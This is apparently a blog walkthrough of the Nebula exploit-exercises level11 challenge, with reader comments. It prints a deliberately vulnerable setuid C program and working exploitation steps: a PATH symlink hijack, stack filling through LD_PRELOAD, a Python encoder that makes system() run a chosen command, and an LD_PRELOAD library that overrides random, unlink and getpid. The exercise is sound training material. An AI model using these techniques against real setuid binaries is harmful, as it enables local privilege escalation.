Nebula exploit exercises walkthrough – level11

The /home/flag11/flag11 binary processes standard input and executes a shell command.

There are two ways of completing this level, you may wish to do both 🙂

#include 
#include 
#include 
#include 
#include 
#include 
#include 

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 
    'A' + (random() % 26), '0' + (random() % 10), 
    'a' + (random() % 26), 'A' + (random() % 26),
    '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
    errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
    errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
      err(1, "fread length");
    }
    process(buf, length);
  } else {
    int blue = length;
    int pink;

    fd = getrand(&path);

    while(blue > 0) {
      printf("blue = %d, length = %d, ", blue, length);

      pink = fread(buf, 1, sizeof(buf), stdin);
      printf("pink = %d\n", pink);

      if(pink <= 0) {
        err(1, "fread fail(blue = %d, length = %d)", blue, length);
      }
      write(fd, buf, pink);

      blue -= pink;
    }  

    mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
    if(mem == MAP_FAILED) {
      err(1, "mmap");
    }
    process(mem, length);
  }

}

Now it gets interesting. This is the first bit of code where it isn't obvious what the intent is from a quick glance.

I think I have found three ways to get this to execute getflag, though one is just a variation of another.

The code reads from stdin, then checks for "Content-Length: ", reads a length integer, and then processes this.

There are a number of paths from this point. If the length is less than the buf length (1024), then fread is called. Then there is a bug.

This is what happens on this code path:

if(fread(buf, length, 1, stdin) != length) {

But later on:

pink = fread(buf, 1, sizeof(buf), stdin);

From the man page of fread:

size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);

The function fread() reads nmemb elements of data, each size bytes
long, from the stream pointed to by stream, storing them at the loca‐
tion given by ptr.

fread() and fwrite() return the number of items successfully read or
written (i.e., not the number of characters).

Whilet both read in the same data, the return values will be different. The first will return 1, the second will return the number of chars read.

This means the only way to get to process with the length less than 1024 is to set the length to 1. This restricts our options a fair bit.

We'll try it out though:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\220^': command not found

As expected, the value we pass (E, arbitrary choice) gets "processed" to become D. system is then called, but because we can only provide a single character, we can't null terminate the command, and we get some random values after.

We can see these values vary each time we run it:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: DPo: command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\260@': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\220': command not found

One thing that does happen though is that, by chance, we end up with a null being in the right place:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: D: command not found

This is pure luck. The rest of buffer is uninitialized and nulls are common in uninitialised memory.

If we now symbolic link D to /bin/getflag, and alter the path so it runs D when the null is in the right place:

level11@nebula:/tmp$ ln -s /bin/getflag D
level11@nebula:/tmp$ export PATH=/tmp/:$PATH
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\340\312': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: D@3: command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\260\207': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\260\372': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\020i': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'DP\366': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
getflag is executing on a non-flag account, this doesn't count

Hmmph. Why is it not the flag account? I think this is a bug - the call to system isn't preceded by setresuid/setresgid, so anything it runs will run as the real UID (level11) instead of the effective UID (flag11).

Co-incidentally, I had recently read of a technique to fill uninitialised memory. It's virtually useless in the real world - using uninitalised memory is indicative of much bigger issues. It's interesting though, so let's try it here.

This technique uses an environment variable called LD_PRELOAD. This is commonly used to override library functions for debugging (or exploits!). When the linker starts up, it reads the entirity of LD_PRELOAD onto the stack and then doesn't clean up afterwards. This means we can initialise the memory to something under out control:

level11@nebula:~$ export LD_PRELOAD=`python -c 'print "/bin/getflag\x0a"*1000'`

i.e. fill the stack with one thousand /bin/getflags.

Then when we run flag11 with length of 1, it will almost certainly have this in the buffer already:

level11@nebula:~$ echo -ne "Content-Length: 1\n " | /home/flag11/flag11 
sh: !getflag: command not found
getflag is executing on a non-flag account, this doesn't count
getflag is executing on a non-flag account, this doesn't count
getflag is executing on a non-flag account, this doesn't count
... lots of repeats ...
sh: line 74: /bin/getfl=qm: No such file or directory
level11@nebula:~$ 

Again the same issue with suid/system, but I think it counts.

Now we need to come back to the length being 1024 or more. What happens here?

There is a really simple encryption function:

  key = length & 0xff;

  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i];
  }

We can easily build the reverse of this in Python and output a string:

string = "/bin/getflag\x00"
key = 0

enc_string = ""

for char in string:
    enc_char = ord(char) ^ key & 0xff
    enc_string += chr(enc_char)
    key = key - ord(char) & 0xff

print "Content-Length: 1024\n" + enc_string + "\x00" * (1024 - len(enc_string))

(note, that I terminated the command with newline (x0a) to start with, which was causing this to fail)

We can then pipe this into the executable, to run the command:

level11@nebula:~$ python level11a.py | /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count

Simple!

Aside

Whilst playing around with this level, I thougut there might be something I could do with the random path/filename that is used when the content length is 2014 or greater.

The filename is normally of the form:

open("/tmp/28949.Y1cU0f", O_RDWR|O_CREAT, 0600) = 3

As seen from strace. This is PID (process ID) with a "random" string.

We can gain control of this string, the filename, and stop it from being deleted. This uses LD_PRELOAD, but for it's genuine use.

First, we must check that the executable is dynamically linked:

level11@nebula:~$ file /home/flag11/flag11 
/home/flag11/flag11: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped

Good.

Now we need to create a c file to override the functions we want - random(), unlink() and getpid():


// Take control of random
int random(){
   return 0;
}

// Stop the file being deleted
int unlink(const char *pathname) {
   return 0; 
}

// Take control of the reported PID
int getpid() {
   return 1;
}

The we compile it into a library, set LD_PRELOAD, and then run the executable:

level11@nebula:~$ gcc --shared -fPIC unrandom.c -o unrandom.o
level11@nebula:~$ export LD_PRELOAD=$PWD/unrandom.o
level11@nebula:~$ python level11a.py | strace /home/flag11/flag11
open("/tmp/1.A0aA0a", O_RDWR|O_CREAT, 0600) = 3

And now we have control of the filename, and it is preserved rather than deleted.

level11@nebula:~$ ls -asl /tmp
total 64
0 drwxrwxrwt 5 root    root     600 2014-06-07 01:02 .
0 drwxr-xr-x 1 root    root     240 2014-06-03 03:36 ..
4 -rw------- 1 level11 level11 1024 2014-06-07 01:00 1.A0aA0a
level11@nebula:~$ cat /tmp/1.A0aA0a 
l?.?3??R

Not of any real use, but a handy technique.

9 thoughts on “Nebula exploit exercises walkthrough – level11

  1. Permalink  ⋅ Reply

    Bob

    June 13, 2014 at 9:04am

    Heh, I initially thought you may be able to specify a negative Content-Length and overflow `buf` on the stack, but the (length < sizeof(buf)) test fails when length is promoted to an unsigned.

    You shouldn't be able to use LD_PRELOAD with setuid binaries like that – otherwise you could just override e.g. random() to call system("getflag") and you'd be done. Do you know what's going on there?


    bob@bob:/tmp$ id
    uid=1000(bob) gid=1000(bob) groups=1000(bob)

    bob@bob:/tmp$ cat prog.c
    int main() {
    srandom(time(0));
    printf("%i\n", random());
    }

    bob@bob:/tmp$ cat lib.c
    int random() { return 123; }

    bob@bob:/tmp$ gcc -o prog prog.c
    prog.c: In function ‘main’:
    prog.c:3:5: warning: incompatible implicit declaration of built-in function ‘printf’ [enabled by default]

    bob@bob:/tmp$ gcc -shared -fPIC lib.c -o lib.o

    bob@bob:/tmp$ export LD_PRELOAD=$PWD/lib.o

    bob@bob:/tmp$ ./prog
    123

    bob@bob:/tmp$ sudo chown dan:dan prog; sudo chmod 4755 prog

    bob@bob:/tmp$ ./prog
    1157634343

    • Permalink  ⋅ Reply

      Bob

      June 13, 2014 at 9:12am

      Ah, I can see why it works with strace; from strace(1):

      -u username Run command with the user ID, group ID, and supplementary groups of username. This option is only useful when running as root and enables the correct execution of setuid and/or setgid binaries. Unless this option is used setuid and setgid programs are executed without effective privileges.

      • Permalink  ⋅ Reply

        Jeffrey

        October 29, 2016 at 6:46pm

        Could you further explain why it works? I still share your first impression that it LD_PRELOAD shouldn’t work with a suid binary.

        • Permalink  ⋅ Reply

          Arget

          November 3, 2016 at 3:22pm

          Sorry, my answer was for you, Jeffrey.

        • Permalink  ⋅ Reply

          Jeffrey

          November 5, 2016 at 5:05pm

          Nvm, I got it.

          “Unless this option is used setuid and setgid programs are executed without effective privileges.”

          This option isn’t set, so LD_PRELOAD works due to the lack of elevated privileges.

  2. Permalink  ⋅ Reply

    Vladimir

    March 26, 2016 at 8:52am

    The problem of this task is in experiments by the author:

    From the disassemler:

    int process(char *command, int length)
    {
    gid_t gid;
    uid_t uid;
    unsigned int key;
    int i;

    key = (unsigned __int8)length;
    for ( i = 0; i < length; ++i )
    {
    command[i] ^= key;
    key -= command[i];
    }
    gid = getgid(); // w00t ??
    setgid(gid);
    uid = getuid();
    setuid(uid);
    return system(command);
    }

    • Permalink  ⋅ Reply

      Arget

      November 3, 2016 at 3:13pm

      It’s because ld.so or ls-linux.so (the dynamic linker) will look for the libraries in second place in the LD_PRELOAD environment variable, UNLESS the exectuable is being running in secure-execution mode, in which case it (LD_PRELOAD) is ignored. The secure-execution mode could be set for various reasons, including that the procces’s real ID and the effective ID of the users differ (e. g. running a set user id program).
      Sources: http://man7.org/linux/man-pages/man8/ld.so.8.html

  3. Permalink  ⋅ Reply

    Neolex

    June 30, 2018 at 12:03pm

    Hi !
    when i use your python script i get “mmap: Bad file descriptor”

    I have no idea why ?
    level11@nebula:~$ python level11a.py | /home/flag11/flag11
    blue = 1024, length = 1024, pink = 1024
    flag11: mmap: Bad file descriptor

Leave a Reply to Vladimir Cancel reply

Your email will not be published. Name and Email fields are required.

This site uses Akismet to reduce spam. Learn how your comment data is processed.